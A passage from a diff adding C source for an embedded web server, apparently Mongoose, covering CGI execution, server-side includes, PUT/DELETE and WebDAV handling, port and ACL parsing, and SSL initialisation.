+ if (*p == '-')
+ *p = '_';
+ *p = (char) toupper(* (unsigned char *) p);
+ }
+ }
+
+ // Add user-specified variables
+ s = conn->ctx->config[CGI_ENVIRONMENT];
+ while ((s = next_option(s, &var_vec, NULL)) != NULL) {
+ addenv(blk, "%.*s", var_vec.len, var_vec.ptr);
+ }
+
+ blk->vars[blk->nvars++] = NULL;
+ blk->buf[blk->len++] = '\0';
+
+ assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
+ assert(blk->len > 0);
+ assert(blk->len < (int) sizeof(blk->buf));
+}
+
+static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
+ int headers_len, data_len, i, fd_stdin[2], fd_stdout[2];
+ const char *status, *status_text;
+ char buf[BUFSIZ], *pbuf, dir[PATH_MAX], *p;
+ struct mg_request_info ri;
+ struct cgi_env_block blk;
+ FILE *in, *out;
+ pid_t pid;
+
+ prepare_cgi_environment(conn, prog, &blk);
+
+ // CGI must be executed in its own directory. 'dir' must point to the
+ // directory containing executable program, 'p' must point to the
+ // executable program name relative to 'dir'.
+ (void) mg_snprintf(conn, dir, sizeof(dir), "%s", prog);
+ if ((p = strrchr(dir, DIRSEP)) != NULL) {
+ *p++ = '\0';
+ } else {
+ dir[0] = '.', dir[1] = '\0';
+ p = (char *) prog;
+ }
+
+ pid = (pid_t) -1;
+ fd_stdin[0] = fd_stdin[1] = fd_stdout[0] = fd_stdout[1] = -1;
+ in = out = NULL;
+
+ if (pipe(fd_stdin) != 0 || pipe(fd_stdout) != 0) {
+ send_http_error(conn, 500, http_500_error,
+ "Cannot create CGI pipe: %s", strerror(ERRNO));
+ goto done;
+ } else if ((pid = spawn_process(conn, p, blk.buf, blk.vars,
+ fd_stdin[0], fd_stdout[1], dir)) == (pid_t) -1) {
+ goto done;
+ } else if ((in = fdopen(fd_stdin[1], "wb")) == NULL ||
+ (out = fdopen(fd_stdout[0], "rb")) == NULL) {
+ send_http_error(conn, 500, http_500_error,
+ "fopen: %s", strerror(ERRNO));
+ goto done;
+ }
+
+ setbuf(in, NULL);
+ setbuf(out, NULL);
+
+ // spawn_process() must close those!
+ // If we don't mark them as closed, close() attempt before
+ // return from this function throws an exception on Windows.
+ // Windows does not like when closed descriptor is closed again.
+ fd_stdin[0] = fd_stdout[1] = -1;
+
+ // Send POST data to the CGI process if needed
+ if (!strcmp(conn->request_info.request_method, "POST") &&
+ !forward_body_data(conn, in, INVALID_SOCKET, NULL)) {
+ goto done;
+ }
+
+ // Now read CGI reply into a buffer. We need to set correct
+ // status code, thus we need to see all HTTP headers first.
+ // Do not send anything back to client, until we buffer in all
+ // HTTP headers.
+ data_len = 0;
+ headers_len = read_request(out, INVALID_SOCKET, NULL,
+ buf, sizeof(buf), &data_len);
+ if (headers_len <= 0) {
+ send_http_error(conn, 500, http_500_error,
+ "CGI program sent malformed HTTP headers: [%.*s]",
+ data_len, buf);
+ goto done;
+ }
+ pbuf = buf;
+ buf[headers_len - 1] = '\0';
+ parse_http_headers(&pbuf, &ri);
+
+ // Make up and send the status line
+ status_text = "OK";
+ if ((status = get_header(&ri, "Status")) != NULL) {
+ conn->request_info.status_code = atoi(status);
+ status_text = status;
+ while (isdigit(* (unsigned char *) status_text) || *status_text == ' ') {
+ status_text++;
+ }
+ } else if (get_header(&ri, "Location") != NULL) {
+ conn->request_info.status_code = 302;
+ } else {
+ conn->request_info.status_code = 200;
+ }
+ if (get_header(&ri, "Connection") != NULL &&
+ !mg_strcasecmp(get_header(&ri, "Connection"), "keep-alive")) {
+ conn->must_close = 1;
+ }
+ (void) mg_printf(conn, "HTTP/1.1 %d %s\r\n", conn->request_info.status_code,
+ status_text);
+
+ // Send headers
+ for (i = 0; i < ri.num_headers; i++) {
+ mg_printf(conn, "%s: %s\r\n",
+ ri.http_headers[i].name, ri.http_headers[i].value);
+ }
+ (void) mg_write(conn, "\r\n", 2);
+
+ // Send chunk of data that may be read after the headers
+ conn->num_bytes_sent += mg_write(conn, buf + headers_len,
+ (size_t)(data_len - headers_len));
+
+ // Read the rest of CGI output and send to the client
+ send_file_data(conn, out, INT64_MAX);
+
+done:
+ if (pid != (pid_t) -1) {
+ kill(pid, SIGKILL);
+ }
+ if (fd_stdin[0] != -1) {
+ (void) close(fd_stdin[0]);
+ }
+ if (fd_stdout[1] != -1) {
+ (void) close(fd_stdout[1]);
+ }
+
+ if (in != NULL) {
+ (void) fclose(in);
+ } else if (fd_stdin[1] != -1) {
+ (void) close(fd_stdin[1]);
+ }
+
+ if (out != NULL) {
+ (void) fclose(out);
+ } else if (fd_stdout[0] != -1) {
+ (void) close(fd_stdout[0]);
+ }
+}
+#endif // !NO_CGI
+
+// For a given PUT path, create all intermediate subdirectories
+// for given path. Return 0 if the path itself is a directory,
+// or -1 on error, 1 if OK.
+static int put_dir(const char *path) {
+ char buf[PATH_MAX];
+ const char *s, *p;
+ struct mgstat st;
+ int len, res = 1;
+
+ for (s = p = path + 2; (p = strchr(s, DIRSEP)) != NULL; s = ++p) {
+ len = p - path;
+ if (len >= (int) sizeof(buf)) {
+ res = -1;
+ break;
+ }
+ memcpy(buf, path, len);
+ buf[len] = '\0';
+
+ // Try to create intermediate directory
+ DEBUG_TRACE(("mkdir(%s)", buf));
+ if (mg_stat(buf, &st) == -1 && mg_mkdir(buf, 0755) != 0) {
+ res = -1;
+ break;
+ }
+
+ // Is path itself a directory?
+ if (p[1] == '\0') {
+ res = 0;
+ }
+ }
+
+ return res;
+}
+
+static void put_file(struct mg_connection *conn, const char *path) {
+ struct mgstat st;
+ const char *range;
+ int64_t r1, r2;
+ FILE *fp;
+ int rc;
+
+ conn->request_info.status_code = mg_stat(path, &st) == 0 ? 200 : 201;
+
+ if ((rc = put_dir(path)) == 0) {
+ mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n", conn->request_info.status_code);
+ } else if (rc == -1) {
+ send_http_error(conn, 500, http_500_error,
+ "put_dir(%s): %s", path, strerror(ERRNO));
+ } else if ((fp = mg_fopen(path, "wb+")) == NULL) {
+ send_http_error(conn, 500, http_500_error,
+ "fopen(%s): %s", path, strerror(ERRNO));
+ } else {
+ set_close_on_exec(fileno(fp));
+ range = mg_get_header(conn, "Content-Range");
+ r1 = r2 = 0;
+ if (range != NULL && parse_range_header(range, &r1, &r2) > 0) {
+ conn->request_info.status_code = 206;
+ // TODO(lsm): handle seek error
+ (void) fseeko(fp, (off_t) r1, SEEK_SET);
+ }
+ if (forward_body_data(conn, fp, INVALID_SOCKET, NULL))
+ (void) mg_printf(conn, "HTTP/1.1 %d OK\r\n\r\n",
+ conn->request_info.status_code);
+ (void) fclose(fp);
+ }
+}
+
+static void send_ssi_file(struct mg_connection *, const char *, FILE *, int);
+
+static void do_ssi_include(struct mg_connection *conn, const char *ssi,
+ char *tag, int include_level) {
+ char file_name[BUFSIZ], path[PATH_MAX], *p;
+ FILE *fp;
+
+ // sscanf() is safe here, since send_ssi_file() also uses buffer
+ // of size BUFSIZ to get the tag. So strlen(tag) is always < BUFSIZ.
+ if (sscanf(tag, " virtual=\"%[^\"]\"", file_name) == 1) {
+ // File name is relative to the webserver root
+ (void) mg_snprintf(conn, path, sizeof(path), "%s%c%s",
+ conn->ctx->config[DOCUMENT_ROOT], DIRSEP, file_name);
+ } else if (sscanf(tag, " file=\"%[^\"]\"", file_name) == 1) {
+ // File name is relative to the webserver working directory
+ // or it is absolute system path
+ (void) mg_snprintf(conn, path, sizeof(path), "%s", file_name);
+ } else if (sscanf(tag, " \"%[^\"]\"", file_name) == 1) {
+ // File name is relative to the currect document
+ (void) mg_snprintf(conn, path, sizeof(path), "%s", ssi);
+ if ((p = strrchr(path, DIRSEP)) != NULL) {
+ p[1] = '\0';
+ }
+ (void) mg_snprintf(conn, path + strlen(path),
+ sizeof(path) - strlen(path), "%s", file_name);
+ } else {
+ cry(conn, "Bad SSI #include: [%s]", tag);
+ return;
+ }
+
+ if ((fp = mg_fopen(path, "rb")) == NULL) {
+ cry(conn, "Cannot open SSI #include: [%s]: fopen(%s): %s",
+ tag, path, strerror(ERRNO));
+ } else {
+ set_close_on_exec(fileno(fp));
+ if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
+ strlen(conn->ctx->config[SSI_EXTENSIONS]), path) > 0) {
+ send_ssi_file(conn, path, fp, include_level + 1);
+ } else {
+ send_file_data(conn, fp, INT64_MAX);
+ }
+ (void) fclose(fp);
+ }
+}
+
+#if !defined(NO_POPEN)
+static void do_ssi_exec(struct mg_connection *conn, char *tag) {
+ char cmd[BUFSIZ];
+ FILE *fp;
+
+ if (sscanf(tag, " \"%[^\"]\"", cmd) != 1) {
+ cry(conn, "Bad SSI #exec: [%s]", tag);
+ } else if ((fp = popen(cmd, "r")) == NULL) {
+ cry(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO));
+ } else {
+ send_file_data(conn, fp, INT64_MAX);
+ (void) pclose(fp);
+ }
+}
+#endif // !NO_POPEN
+
+static void send_ssi_file(struct mg_connection *conn, const char *path,
+ FILE *fp, int include_level) {
+ char buf[BUFSIZ];
+ int ch, len, in_ssi_tag;
+
+ if (include_level > 10) {
+ cry(conn, "SSI #include level is too deep (%s)", path);
+ return;
+ }
+
+ in_ssi_tag = 0;
+ len = 0;
+
+ while ((ch = fgetc(fp)) != EOF) {
+ if (in_ssi_tag && ch == '>') {
+ in_ssi_tag = 0;
+ buf[len++] = (char) ch;
+ buf[len] = '\0';
+ assert(len <= (int) sizeof(buf));
+ if (len < 6 || memcmp(buf, "<!--#", 5) != 0) {
+ // Not an SSI tag, pass it
+ (void) mg_write(conn, buf, (size_t)len);
+ } else {
+ if (!memcmp(buf + 5, "include", 7)) {
+ do_ssi_include(conn, path, buf + 12, include_level);
+#if !defined(NO_POPEN)
+ } else if (!memcmp(buf + 5, "exec", 4)) {
+ do_ssi_exec(conn, buf + 9);
+#endif // !NO_POPEN
+ } else {
+ cry(conn, "%s: unknown SSI " "command: \"%s\"", path, buf);
+ }
+ }
+ len = 0;
+ } else if (in_ssi_tag) {
+ if (len == 5 && memcmp(buf, "<!--#", 5) != 0) {
+ // Not an SSI tag
+ in_ssi_tag = 0;
+ } else if (len == (int) sizeof(buf) - 2) {
+ cry(conn, "%s: SSI tag is too large", path);
+ len = 0;
+ }
+ buf[len++] = ch & 0xff;
+ } else if (ch == '<') {
+ in_ssi_tag = 1;
+ if (len > 0) {
+ (void) mg_write(conn, buf, (size_t)len);
+ }
+ len = 0;
+ buf[len++] = ch & 0xff;
+ } else {
+ buf[len++] = ch & 0xff;
+ if (len == (int) sizeof(buf)) {
+ (void) mg_write(conn, buf, (size_t)len);
+ len = 0;
+ }
+ }
+ }
+
+ // Send the rest of buffered data
+ if (len > 0) {
+ (void) mg_write(conn, buf, (size_t)len);
+ }
+}
+
+static void handle_ssi_file_request(struct mg_connection *conn,
+ const char *path) {
+ FILE *fp;
+
+ if ((fp = mg_fopen(path, "rb")) == NULL) {
+ send_http_error(conn, 500, http_500_error, "fopen(%s): %s", path,
+ strerror(ERRNO));
+ } else {
+ conn->must_close = 1;
+ set_close_on_exec(fileno(fp));
+ mg_printf(conn, "HTTP/1.1 200 OK\r\n"
+ "Content-Type: text/html\r\nConnection: %s\r\n\r\n",
+ suggest_connection_header(conn));
+ send_ssi_file(conn, path, fp, 0);
+ (void) fclose(fp);
+ }
+}
+
+static void send_options(struct mg_connection *conn) {
+ conn->request_info.status_code = 200;
+
+ (void) mg_printf(conn,
+ "HTTP/1.1 200 OK\r\n"
+ "Allow: GET, POST, HEAD, CONNECT, PUT, DELETE, OPTIONS\r\n"
+ "DAV: 1\r\n\r\n");
+}
+
+// Writes PROPFIND properties for a collection element
+static void print_props(struct mg_connection *conn, const char* uri,
+ struct mgstat* st) {
+ char mtime[64];
+ gmt_time_string(mtime, sizeof(mtime), &st->mtime);
+ conn->num_bytes_sent += mg_printf(conn,
+ "<d:response>"
+ "<d:href>%s</d:href>"
+ "<d:propstat>"
+ "<d:prop>"
+ "<d:resourcetype>%s</d:resourcetype>"
+ "<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
+ "<d:getlastmodified>%s</d:getlastmodified>"
+ "</d:prop>"
+ "<d:status>HTTP/1.1 200 OK</d:status>"
+ "</d:propstat>"
+ "</d:response>\n",
+ uri,
+ st->is_directory ? "<d:collection/>" : "",
+ st->size,
+ mtime);
+}
+
+static void print_dav_dir_entry(struct de *de, void *data) {
+ char href[PATH_MAX];
+ struct mg_connection *conn = (struct mg_connection *) data;
+ mg_snprintf(conn, href, sizeof(href), "%s%s",
+ conn->request_info.uri, de->file_name);
+ print_props(conn, href, &de->st);
+}
+
+static void handle_propfind(struct mg_connection *conn, const char* path,
+ struct mgstat* st) {
+ const char *depth = mg_get_header(conn, "Depth");
+
+ conn->must_close = 1;
+ conn->request_info.status_code = 207;
+ mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
+ "Connection: close\r\n"
+ "Content-Type: text/xml; charset=utf-8\r\n\r\n");
+
+ conn->num_bytes_sent += mg_printf(conn,
+ "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
+ "<d:multistatus xmlns:d='DAV:'>\n");
+
+ // Print properties for the requested resource itself
+ print_props(conn, conn->request_info.uri, st);
+
+ // If it is a directory, print directory entries too if Depth is not 0
+ if (st->is_directory &&
+ !mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
+ (depth == NULL || strcmp(depth, "0") != 0)) {
+ scan_directory(conn, path, conn, &print_dav_dir_entry);
+ }
+
+ conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
+}
+
+// This is the heart of the Mongoose's logic.
+// This function is called when the request is read, parsed and validated,
+// and Mongoose must decide what action to take: serve a file, or
+// a directory, or call embedded function, etcetera.
+static void handle_request(struct mg_connection *conn) {
+ struct mg_request_info *ri = &conn->request_info;
+ char path[PATH_MAX];
+ int stat_result, uri_len;
+ struct mgstat st;
+
+ if ((conn->request_info.query_string = strchr(ri->uri, '?')) != NULL) {
+ * conn->request_info.query_string++ = '\0';
+ }
+ uri_len = strlen(ri->uri);
+ url_decode(ri->uri, (size_t)uri_len, ri->uri, (size_t)(uri_len + 1), 0);
+ remove_double_dots_and_double_slashes(ri->uri);
+ stat_result = convert_uri_to_file_name(conn, path, sizeof(path), &st);
+
+ DEBUG_TRACE(("%s", ri->uri));
+ if (!check_authorization(conn, path)) {
+ send_authorization_request(conn);
+ } else if (call_user(conn, MG_NEW_REQUEST) != NULL) {
+ // Do nothing, callback has served the request
+ } else if (!strcmp(ri->request_method, "OPTIONS")) {
+ send_options(conn);
+ } else if (strstr(path, PASSWORDS_FILE_NAME)) {
+ // Do not allow to view passwords files
+ send_http_error(conn, 403, "Forbidden", "Access Forbidden");
+ } else if (conn->ctx->config[DOCUMENT_ROOT] == NULL) {
+ send_http_error(conn, 404, "Not Found", "Not Found");
+ } else if ((!strcmp(ri->request_method, "PUT") ||
+ !strcmp(ri->request_method, "DELETE")) &&
+ (conn->ctx->config[PUT_DELETE_PASSWORDS_FILE] == NULL ||
+ !is_authorized_for_put(conn))) {
+ send_authorization_request(conn);
+ } else if (!strcmp(ri->request_method, "PUT")) {
+ put_file(conn, path);
+ } else if (!strcmp(ri->request_method, "DELETE")) {
+ if (mg_remove(path) == 0) {
+ send_http_error(conn, 200, "OK", "");
+ } else {
+ send_http_error(conn, 500, http_500_error, "remove(%s): %s", path,
+ strerror(ERRNO));
+ }
+ } else if (stat_result != 0) {
+ send_http_error(conn, 404, "Not Found", "%s", "File not found");
+ } else if (st.is_directory && ri->uri[uri_len - 1] != '/') {
+ (void) mg_printf(conn,
+ "HTTP/1.1 301 Moved Permanently\r\n"
+ "Location: %s/\r\n\r\n", ri->uri);
+ } else if (!strcmp(ri->request_method, "PROPFIND")) {
+ handle_propfind(conn, path, &st);
+ } else if (st.is_directory &&
+ !substitute_index_file(conn, path, sizeof(path), &st)) {
+ if (!mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes")) {
+ handle_directory_request(conn, path);
+ } else {
+ send_http_error(conn, 403, "Directory Listing Denied",
+ "Directory listing denied");
+ }
+#if !defined(NO_CGI)
+ } else if (match_prefix(conn->ctx->config[CGI_EXTENSIONS],
+ strlen(conn->ctx->config[CGI_EXTENSIONS]),
+ path) > 0) {
+ if (strcmp(ri->request_method, "POST") &&
+ strcmp(ri->request_method, "GET")) {
+ send_http_error(conn, 501, "Not Implemented",
+ "Method %s is not implemented", ri->request_method);
+ } else {
+ handle_cgi_request(conn, path);
+ }
+#endif // !NO_CGI
+ } else if (match_prefix(conn->ctx->config[SSI_EXTENSIONS],
+ strlen(conn->ctx->config[SSI_EXTENSIONS]),
+ path) > 0) {
+ handle_ssi_file_request(conn, path);
+ } else if (is_not_modified(conn, &st)) {
+ send_http_error(conn, 304, "Not Modified", "");
+ } else {
+ handle_file_request(conn, path, &st);
+ }
+}
+
+static void close_all_listening_sockets(struct mg_context *ctx) {
+ struct socket *sp, *tmp;
+ for (sp = ctx->listening_sockets; sp != NULL; sp = tmp) {
+ tmp = sp->next;
+ (void) closesocket(sp->sock);
+ free(sp);
+ }
+}
+
+// Valid listening port specification is: [ip_address:]port[s]
+// Examples: 80, 443s, 127.0.0.1:3128,1.2.3.4:8080s
+// TODO(lsm): add parsing of the IPv6 address
+static int parse_port_string(const struct vec *vec, struct socket *so) {
+ int a, b, c, d, port, len;
+
+ // MacOS needs that. If we do not zero it, subsequent bind() will fail.
+ // Also, all-zeroes in the socket address means binding to all addresses
+ // for both IPv4 and IPv6 (INADDR_ANY and IN6ADDR_ANY_INIT).
+ memset(so, 0, sizeof(*so));
+
+ if (sscanf(vec->ptr, "%d.%d.%d.%d:%d%n", &a, &b, &c, &d, &port, &len) == 5) {
+ // Bind to a specific IPv4 address
+ so->lsa.sin.sin_addr.s_addr = htonl((a << 24) | (b << 16) | (c << 8) | d);
+ } else if (sscanf(vec->ptr, "%d%n", &port, &len) != 1 ||
+ len <= 0 ||
+ len > (int) vec->len ||
+ (vec->ptr[len] && vec->ptr[len] != 's' && vec->ptr[len] != ',')) {
+ return 0;
+ }
+
+ so->is_ssl = vec->ptr[len] == 's';
+#if defined(USE_IPV6)
+ so->lsa.sin6.sin6_family = AF_INET6;
+ so->lsa.sin6.sin6_port = htons((uint16_t) port);
+#else
+ so->lsa.sin.sin_family = AF_INET;
+ so->lsa.sin.sin_port = htons((uint16_t) port);
+#endif
+
+ return 1;
+}
+
+static int set_ports_option(struct mg_context *ctx) {
+ const char *list = ctx->config[LISTENING_PORTS];
+ int on = 1, success = 1;
+ SOCKET sock;
+ struct vec vec;
+ struct socket so, *listener;
+
+ while (success && (list = next_option(list, &vec, NULL)) != NULL) {
+ if (!parse_port_string(&vec, &so)) {
+ cry(fc(ctx), "%s: %.*s: invalid port spec. Expecting list of: %s",
+ __func__, vec.len, vec.ptr, "[IP_ADDRESS:]PORT[s|p]");
+ success = 0;
+ } else if (so.is_ssl && ctx->ssl_ctx == NULL) {
+ cry(fc(ctx), "Cannot add SSL socket, is -ssl_certificate option set?");
+ success = 0;
+ } else if ((sock = socket(so.lsa.sa.sa_family, SOCK_STREAM, 6)) ==
+ INVALID_SOCKET ||
+#if !defined(_WIN32)
+ // On Windows, SO_REUSEADDR is recommended only for
+ // broadcast UDP sockets
+ setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on,
+ sizeof(on)) != 0 ||
+#endif // !_WIN32
+ // Set TCP keep-alive. This is needed because if HTTP-level
+ // keep-alive is enabled, and client resets the connection,
+ // server won't get TCP FIN or RST and will keep the connection
+ // open forever. With TCP keep-alive, next keep-alive
+ // handshake will figure out that the client is down and
+ // will close the server end.
+ // Thanks to Igor Klopov who suggested the patch.
+ setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (void *) &on,
+ sizeof(on)) != 0 ||
+ bind(sock, &so.lsa.sa, sizeof(so.lsa)) != 0 ||
+ listen(sock, 100) != 0) {
+ closesocket(sock);
+ cry(fc(ctx), "%s: cannot bind to %.*s: %s", __func__,
+ vec.len, vec.ptr, strerror(ERRNO));
+ success = 0;
+ } else if ((listener = (struct socket *)
+ calloc(1, sizeof(*listener))) == NULL) {
+ closesocket(sock);
+ cry(fc(ctx), "%s: %s", __func__, strerror(ERRNO));
+ success = 0;
+ } else {
+ *listener = so;
+ listener->sock = sock;
+ set_close_on_exec(listener->sock);
+ listener->next = ctx->listening_sockets;
+ ctx->listening_sockets = listener;
+ }
+ }
+
+ if (!success) {
+ close_all_listening_sockets(ctx);
+ }
+
+ return success;
+}
+
+static void log_header(const struct mg_connection *conn, const char *header,
+ FILE *fp) {
+ const char *header_value;
+
+ if ((header_value = mg_get_header(conn, header)) == NULL) {
+ (void) fprintf(fp, "%s", " -");
+ } else {
+ (void) fprintf(fp, " \"%s\"", header_value);
+ }
+}
+
+static void log_access(const struct mg_connection *conn) {
+ const struct mg_request_info *ri;
+ FILE *fp;
+ char date[64], src_addr[20];
+
+ fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ? NULL :
+ mg_fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
+
+ if (fp == NULL)
+ return;
+
+ strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
+ localtime(&conn->birth_time));
+
+ ri = &conn->request_info;
+ flockfile(fp);
+
+ sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+ fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
+ src_addr, ri->remote_user == NULL ? "-" : ri->remote_user, date,
+ ri->request_method ? ri->request_method : "-",
+ ri->uri ? ri->uri : "-", ri->http_version,
+ conn->request_info.status_code, conn->num_bytes_sent);
+ log_header(conn, "Referer", fp);
+ log_header(conn, "User-Agent", fp);
+ fputc('\n', fp);
+ fflush(fp);
+
+ funlockfile(fp);
+ fclose(fp);
+}
+
+static int isbyte(int n) {
+ return n >= 0 && n <= 255;
+}
+
+// Verify given socket address against the ACL.
+// Return -1 if ACL is malformed, 0 if address is disallowed, 1 if allowed.
+static int check_acl(struct mg_context *ctx, const union usa *usa) {
+ int a, b, c, d, n, mask, allowed;
+ char flag;
+ uint32_t acl_subnet, acl_mask, remote_ip;
+ struct vec vec;
+ const char *list = ctx->config[ACCESS_CONTROL_LIST];
+
+ if (list == NULL) {
+ return 1;
+ }
+
+ (void) memcpy(&remote_ip, &usa->sin.sin_addr, sizeof(remote_ip));
+
+ // If any ACL is set, deny by default
+ allowed = '-';
+
+ while ((list = next_option(list, &vec, NULL)) != NULL) {
+ mask = 32;
+
+ if (sscanf(vec.ptr, "%c%d.%d.%d.%d%n", &flag, &a, &b, &c, &d, &n) != 5) {
+ cry(fc(ctx), "%s: subnet must be [+|-]x.x.x.x[/x]", __func__);
+ return -1;
+ } else if (flag != '+' && flag != '-') {
+ cry(fc(ctx), "%s: flag must be + or -: [%s]", __func__, vec.ptr);
+ return -1;
+ } else if (!isbyte(a)||!isbyte(b)||!isbyte(c)||!isbyte(d)) {
+ cry(fc(ctx), "%s: bad ip address: [%s]", __func__, vec.ptr);
+ return -1;
+ } else if (sscanf(vec.ptr + n, "/%d", &mask) == 0) {
+ // Do nothing, no mask specified
+ } else if (mask < 0 || mask > 32) {
+ cry(fc(ctx), "%s: bad subnet mask: %d [%s]", __func__, n, vec.ptr);
+ return -1;
+ }
+
+ acl_subnet = (a << 24) | (b << 16) | (c << 8) | d;
+ acl_mask = mask ? 0xffffffffU << (32 - mask) : 0;
+
+ if (acl_subnet == (ntohl(remote_ip) & acl_mask)) {
+ allowed = flag;
+ }
+ }
+
+ return allowed == '+';
+}
+
+static void add_to_set(SOCKET fd, fd_set *set, int *max_fd) {
+ FD_SET(fd, set);
+ if (fd > (SOCKET) *max_fd) {
+ *max_fd = (int) fd;
+ }
+}
+
+#if !defined(_WIN32)
+static int set_uid_option(struct mg_context *ctx) {
+ struct passwd *pw;
+ const char *uid = ctx->config[RUN_AS_USER];
+ int success = 0;
+
+ if (uid == NULL) {
+ success = 1;
+ } else {
+ if ((pw = getpwnam(uid)) == NULL) {
+ cry(fc(ctx), "%s: unknown user [%s]", __func__, uid);
+ } else if (setgid(pw->pw_gid) == -1) {
+ cry(fc(ctx), "%s: setgid(%s): %s", __func__, uid, strerror(errno));
+ } else if (setuid(pw->pw_uid) == -1) {
+ cry(fc(ctx), "%s: setuid(%s): %s", __func__, uid, strerror(errno));
+ } else {
+ success = 1;
+ }
+ }
+
+ return success;
+}
+#endif // !_WIN32
+
+#if !defined(NO_SSL)
+static pthread_mutex_t *ssl_mutexes;
+
+static void ssl_locking_callback(int mode, int mutex_num, const char *file,
+ int line) {
+ line = 0; // Unused
+ file = NULL; // Unused
+
+ if (mode & CRYPTO_LOCK) {
+ (void) pthread_mutex_lock(&ssl_mutexes[mutex_num]);
+ } else {
+ (void) pthread_mutex_unlock(&ssl_mutexes[mutex_num]);
+ }
+}
+
+static unsigned long ssl_id_callback(void) {
+ return (unsigned long) pthread_self();
+}
+
+#if !defined(NO_SSL_DL)
+static int load_dll(struct mg_context *ctx, const char *dll_name,
+ struct ssl_func *sw) {
+ union {void *p; void (*fp)(void);} u;
+ void *dll_handle;
+ struct ssl_func *fp;
+
+ if ((dll_handle = dlopen(dll_name, RTLD_LAZY)) == NULL) {
+ cry(fc(ctx), "%s: cannot load %s", __func__, dll_name);
+ return 0;
+ }
+
+ for (fp = sw; fp->name != NULL; fp++) {
+#ifdef _WIN32
+ // GetProcAddress() returns pointer to function
+ u.fp = (void (*)(void)) dlsym(dll_handle, fp->name);
+#else
+ // dlsym() on UNIX returns void *. ISO C forbids casts of data pointers to
+ // function pointers. We need to use a union to make a cast.
+ u.p = dlsym(dll_handle, fp->name);
+#endif // _WIN32
+ if (u.fp == NULL) {
+ cry(fc(ctx), "%s: %s: cannot find %s", __func__, dll_name, fp->name);
+ return 0;
+ } else {
+ fp->ptr = u.fp;
+ }
+ }
+
+ return 1;
+}
+#endif // NO_SSL_DL
+
+// Dynamically load SSL library. Set up ctx->ssl_ctx pointer.
+static int set_ssl_option(struct mg_context *ctx) {
+ struct mg_request_info request_info;
+ SSL_CTX *CTX;
+ int i, size;
+ const char *pem = ctx->config[SSL_CERTIFICATE];
+ const char *chain = ctx->config[SSL_CHAIN_FILE];
+
+ if (pem == NULL) {
+ return 1;
+ }
+
+#if !defined(NO_SSL_DL)
+ if (!load_dll(ctx, SSL_LIB, ssl_sw) ||
+ !load_dll(ctx, CRYPTO_LIB, crypto_sw)) {
+ return 0;
+ }
+#endif // NO_SSL_DL
+
+ // Initialize SSL crap
+ SSL_library_init();
+ SSL_load_error_strings();
+
+ if ((CTX = SSL_CTX_new(SSLv23_server_method())) == NULL) {
+ cry(fc(ctx), "SSL_CTX_new error: %s", ssl_error());
+ } else if (ctx->user_callback != NULL) {
+ memset(&request_info, 0, sizeof(request_info));
+ request_info.user_data = ctx->user_data;
+ ctx->user_callback(MG_INIT_SSL, (struct mg_connection *) CTX,
+ &request_info);
+ }
+
+ if (CTX != NULL && SSL_CTX_use_certificate_file(CTX, pem,
+ SSL_FILETYPE_PEM) == 0) {
+ cry(fc(ctx), "%s: cannot open %s: %s", __func__, pem, ssl_error());
+ return 0;
+ } else if (CTX != NULL && SSL_CTX_use_PrivateKey_file(CTX, pem,
+ SSL_FILETYPE_PEM) == 0) {
+ cry(fc(ctx), "%s: cannot open %s: %s", NULL, pem, ssl_error());
+ return 0;
+ }
+
+ if (CTX != NULL && chain != NULL &&
+ SSL_CTX_use_certificate_chain_file(CTX, chain) == 0) {
+ cry(fc(ctx), "%s: cannot open %s: %s", NULL, chain, ssl_error());
+ return 0;
+ }
+
+ // Initialize locking callbacks, needed for thread safety.
+ // http://www.openssl.org/support/faq.html#PROG1
+ size = sizeof(pthread_mutex_t) * CRYPTO_num_locks();
+ if ((ssl_mutexes = (pthread_mutex_t *) malloc((size_t)size)) == NULL) {
+ cry(fc(ctx), "%s: cannot allocate mutexes: %s", __func__, ssl_error());
+ return 0;
+ }
+
+ for (i = 0; i < CRYPTO_num_locks(); i++) {
+ pthread_mutex_init(&ssl_mutexes[i], NULL);
+ }
+
+ CRYPTO_set_locking_callback(&ssl_locking_callback);
+ CRYPTO_set_id_callback(&ssl_id_callback);
+
+ // Done with everything. Save the context.
+ ctx->ssl_ctx = CTX;
+
+ return 1;
+}
+
+static void uninitialize_ssl(struct mg_context *ctx) {
+ int i;
+ if (ctx->ssl_ctx != NULL) {
+ CRYPTO_set_locking_callback(NULL);
+ for (i = 0; i < CRYPTO_num_locks(); i++) {
+ pthread_mutex_destroy(&ssl_mutexes[i]);
+ }
+ CRYPTO_set_locking_callback(NULL);
+ CRYPTO_set_id_callback(NULL);
+ }
+}
+#endif // !NO_SSL
+
+static int set_gpass_option(struct mg_context *ctx) {
+ struct mgstat mgstat;
+ const char *path = ctx->config[GLOBAL_PASSWORDS_FILE];
+ return path == NULL || mg_stat(path, &mgstat) == 0;
+}
+
+static int set_acl_option(struct mg_context *ctx) {
+ union usa fake;
+ return check_acl(ctx, &fake) != -1;
+}
+
+static void reset_per_request_attributes(struct mg_connection *conn) {
+ struct mg_request_info *ri = &conn->request_info;
+
+ // Reset request info attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
+ ri->remote_user = ri->request_method = ri->uri = ri->http_version =
+ conn->path_info = NULL;
+ ri->num_headers = 0;
+ ri->status_code = -1;
+
+ conn->num_bytes_sent = conn->consumed_content = 0;
+ conn->content_len = -1;
+ conn->request_len = conn->data_len = 0;
+ conn->must_close = 0;
+}
+
+static void close_socket_gracefully(SOCKET sock) {
+ char buf[BUFSIZ];
+ struct linger linger;
+ int n;
+
